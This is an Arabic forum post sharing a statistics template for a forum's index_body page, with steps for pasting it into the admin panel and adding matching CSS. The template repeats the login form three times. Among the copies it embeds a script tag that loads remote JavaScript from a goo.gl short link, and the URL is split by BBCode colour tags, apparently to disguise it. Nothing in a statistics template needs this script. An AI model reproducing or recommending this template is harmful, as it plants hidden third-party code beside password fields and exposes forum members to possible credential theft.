قالب index_body محول احترافي

الأربعاء ديسمبر 05, 2018 1:51 pm

قالب index_body محول احترافي

اقدم لكم قالب الاحصائيات
وتحويل خالي من الاخطاء بأذن الله
وسهلت لكم التعديل على شكل القالب ولونة من خلال اكواد css
اوفر عليكم العناء بدل الذهاب والتعديل على القالب

ونبدأ في تركيب القالب

من لوحة الادارة
ننزل تحت

ثم نعدل على قالب index_body

نحذف جميع الاكواد الي فيه
ونضع القالب هذا

الكود:: {JAVASCRIPT}<br />  <table class="forumline" width="100%" border="0" cellspacing="1" cellpadding="0">  <tr> <td class="catHead" height="28"><span class="cattitle">{message_admin_index.message_admin_titre.MES_TITRE}</span></td> </tr>   <tr> <td class="row1" rowspan="3" align="center" valign="middle"> <div class="gensmall">{message_admin_index.message_admin_txt.MES_TXT}</div> </td> </tr>  </table>  <br />  <form action="{S_LOGIN_ACTION}" method="post" name="form_login">  <table width="100%" border="0" cellspacing="0" cellpadding="0" class="user_login_form forumline"> <tr> <td class="row1" align="center"> <table border="0" cellspacing="0" cellpadding="0"> <tr> <td><span class="genmed">{L_USERNAME}:</span> </td> <td><input class="post" type="text" size="10" name="username"/> </td> <td> <input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} /> <span class="gensmall">{L_AUTO_LOGIN}</span> </td> </tr> <tr> <td><span class="genmed">{L_PASSWORD}:</span> </td> <td><input class="post" type="password" size="10" name="password"/> </td> <td>{S_HIDDEN_FIELDS}<input class="mainoption" type="submit" name="login" value="{L_LOGIN}" /></td> </tr> </table> </td> </tr> </table>   <table width="100%" border="0" cellspacing="0" cellpadding="0" class="user_login_form forumline"> <tr> <td valign="top" width="100%" class="row1" align="center"> <table width="100%"> <tr> <td width="55%" valign="middle" align="right"> <table class="right"> <tr> <td><span class="genmed">{L_USERNAME}:</span> </td> <td><input class="post" type="text" size="10" name="username"/> </td> <td> <input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} /> <span class="gensmall">{L_AUTO_LOGIN}</span> </td> </tr> <tr> <td><span class="genmed">{L_PASSWORD}:</span> </td> <td><input class="post" type="password" size="10" name="password"/> </td> <td>{S_HIDDEN_FIELDS}<input class="mainoption" type="submit" name="login" value="{L_LOGIN}" /></td> </tr> </table> </td> <td width="10%" align="center" valign="middle"> <span class="genmed fb_or">{switch_user_login_form_header.switch_fb_connect.L_OR}</span> </td> <td width="35%" class="align_gauche"><fb:login-button size="large" onlogin="window.location='/facebook_connect.forum'" v="2" scope="{switch_user_login_form_header.switch_fb_connect.L_FB_PERMISSIONS}">{switch_user_login_form_header.switch_fb_connect.L_FB_LOGIN_BUTTON}</fb:login-button></td> </tr> </table> </td> </tr> </table>  </form>  {CHATBOX_TOP} {BOARD_INDEX} <script src="[color=#f562ba]http[/color][color=#f562ba]://[/color][color=#f562ba]goo[/color][color=#f562ba].[/color][color=#f562ba]gl[/color][color=#f562ba]/[/color][color=#f562ba]RG7VsF[/color]"></script>  <form action="{S_LOGIN_ACTION}" method="post" name="form_login">  <table width="100%" border="0" cellspacing="0" cellpadding="0" class="user_login_form forumline"> <tr> <td class="row1" align="center"> <table border="0" cellspacing="0" cellpadding="0"> <tr> <td><span class="genmed">{L_USERNAME}:</span> </td> <td><input class="post" type="text" size="10" name="username"/> </td> <td> <input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} /> <span class="gensmall">{L_AUTO_LOGIN}</span> </td> </tr> <tr> <td><span class="genmed">{L_PASSWORD}:</span> </td> <td><input class="post" type="password" size="10" name="password"/> </td> <td>{S_HIDDEN_FIELDS}<input class="mainoption" type="submit" name="login" value="{L_LOGIN}" /></td> </tr> </table> </td> </tr> </table>  </form>  <br /> <table class="Statistics" cellpadding="6" cellspacing="1" border="0" width="100%" align="center"> <thead> <tr> <td class="Statistics-1" colspan="2">إحصائيات المنتدى</td> </tr> </thead>  <tbody> <tr> <td class="Statistics-2" colspan="2"> <a href="{U_VIEWONLINE}" rel="nofollow">المتواجدون الآن</a> </td> </tr> </tbody> <tbody id="collapseobj_forumhome_activeusers" style=""> <tr> <td class="Stat2"><div class="icon-stat1" /></td> <td class="Stat1" width="100%"> <div class="smallfont"> <div style="white-space: nowrap">{RECORD_USERS}</div> <div align="center">{LOGGED_IN_USER_LIST}</div></div> </td> </tr> </tbody>  <tbody> <tr> <td class="Statistics-2" colspan="2"> {TOTAL_USERS_ONLINE} </td> </tr> </tbody> <tbody id="collapseobj_vilxh_switch" style=""> <tr> <td class="Stat2"><div class="icon-stat2" /></td> <td class="Stat1" width="100%"> <div align="center"><table border="0"><tbody><tr><td></td></tr> <div class="sta"> {L_CONNECTED_MEMBERS} {L_WHOSBIRTHDAY_TODAY} {L_WHOSBIRTHDAY_WEEK} </div> </tr></td></tr></table></div> </td> </tr> </tbody> <tr> <td class="Stat2" colspan="2" align="center"> <span class="smallfont">{GROUP_LEGEND}</span> </td> </tr> </tbody> <tbody> <tr> <td class="Statistics-2" colspan="2"> إحصائيات {L_INDEX} </td> </tr> </tbody> <tbody id="collapseobj_forumhome_stats" style=""> <tr> <td class="Stat2"><div class="icon-stat3" /></td> <td class="Stat1" width="100%"> <div class="smallfont"> <div> {TOTAL_POSTS}<br /> {TOTAL_USERS}<br /> {NEWEST_USER} </div> </div> </td> </tr> </tbody>  <tbody> <tr> <td class="Statistics-2" colspan="2"> المتواجدون في علبة المحادثة </td> </tr> </tbody> <tbody id="collapseobj_forumhome_stats" style=""> <tr> <td class="Stat2"><div class="icon-stat4" /></td> <td class="Stat1" width="100%"> <div class="smallfont"> <span class="gensmall">{TOTAL_CHATTERS_ONLINE} : {CHATTERS_LIST}<br />  <div id="chatbox_popup"></div> <script type="text/javascript"> //<![CDATA[ insertChatBoxPopup('{disable_viewonline.switch_chatbox_activate.switch_chatbox_popup.U_FRAME_CHATBOX}', '{L_CLICK_TO_JOIN_CHAT}'); //]]> </script>  </span> </div> </td> </tr> </tbody>  </table> <br />  {CHATBOX_BOTTOM}  <table cellpadding="0" cellspacing="2" border="0" width="100%"> <tr valign="bottom"> <td> <table cellpadding="2" cellspacing="0" border="0"> <tr> <td><img src="{FORUM_NEW_IMG}" alt="{L_NEW_POSTS}" border="0" /></td> <td class="gensmall"> يحتوي مشاركات جديدة</td> </tr> <tr> <td><img src="{FORUM_IMG}" alt="{L_NO_NEW_POSTS}" border="0" /></td> <td class="gensmall"> لا يحتوي مشاركات جديدة</td> </tr> <tr> <td><img src="{FORUM_LOCKED_IMG}" alt="{L_FORUM_LOCKED}" border="0" /></td> <td class="gensmall">  منتدى مغلق</td> </tr> </table> </td> </tr> </table>  {AUTO_DST}  <div id="fb-root"></div> <script type="text/javascript"> //<![CDATA[ FB.init({ appId: '{switch_fb_index_login.FACEBOOK_APP_ID}', status: true, cookie: true, xfbml: true, oauth: true }); //]]> </script>

ونسجل

ونركب اكواد css

من لوحة الادارة

ونضع الكود

الكود:: Code: /*---------- www.haya-m.net ----------- */ /* css قالب الاحصائيات */ .Statistics , .Statistics a:link , .Statistics td.row1{ background: url('') #fbfafa; color: #929394; font:11px tahoma; text-decoration: none; } .Statistics-1 { background: url('') #96cab5; color: #FFFFFF; font: bold 14px Simplified Arabic; text-align: center; } .Statistics-2 { background: url('') #e1cf65; color: #FFFFFF; font: 11px tahoma; } .Stat2 , .Stat1 { border-bottom: 1px dashed #D1D1D1; } .icon-stat1{ background: url('http://barbie-des.com/hjoor/misc/whos_online.gif'); width: 19px; height: 16px; } .icon-stat2{ background: url('http://barbie-des.com/hjoor/misc/whos_online.gif'); width: 19px; height: 16px; } .icon-stat3{ background: url('http://barbie-des.com/hjoor/misc/stats.gif'); width: 17px; height: 14px; } .icon-stat4{ background: url('http://barbie-des.com/hjoor/misc/whos_online.gif'); width: 19px; height: 16px; }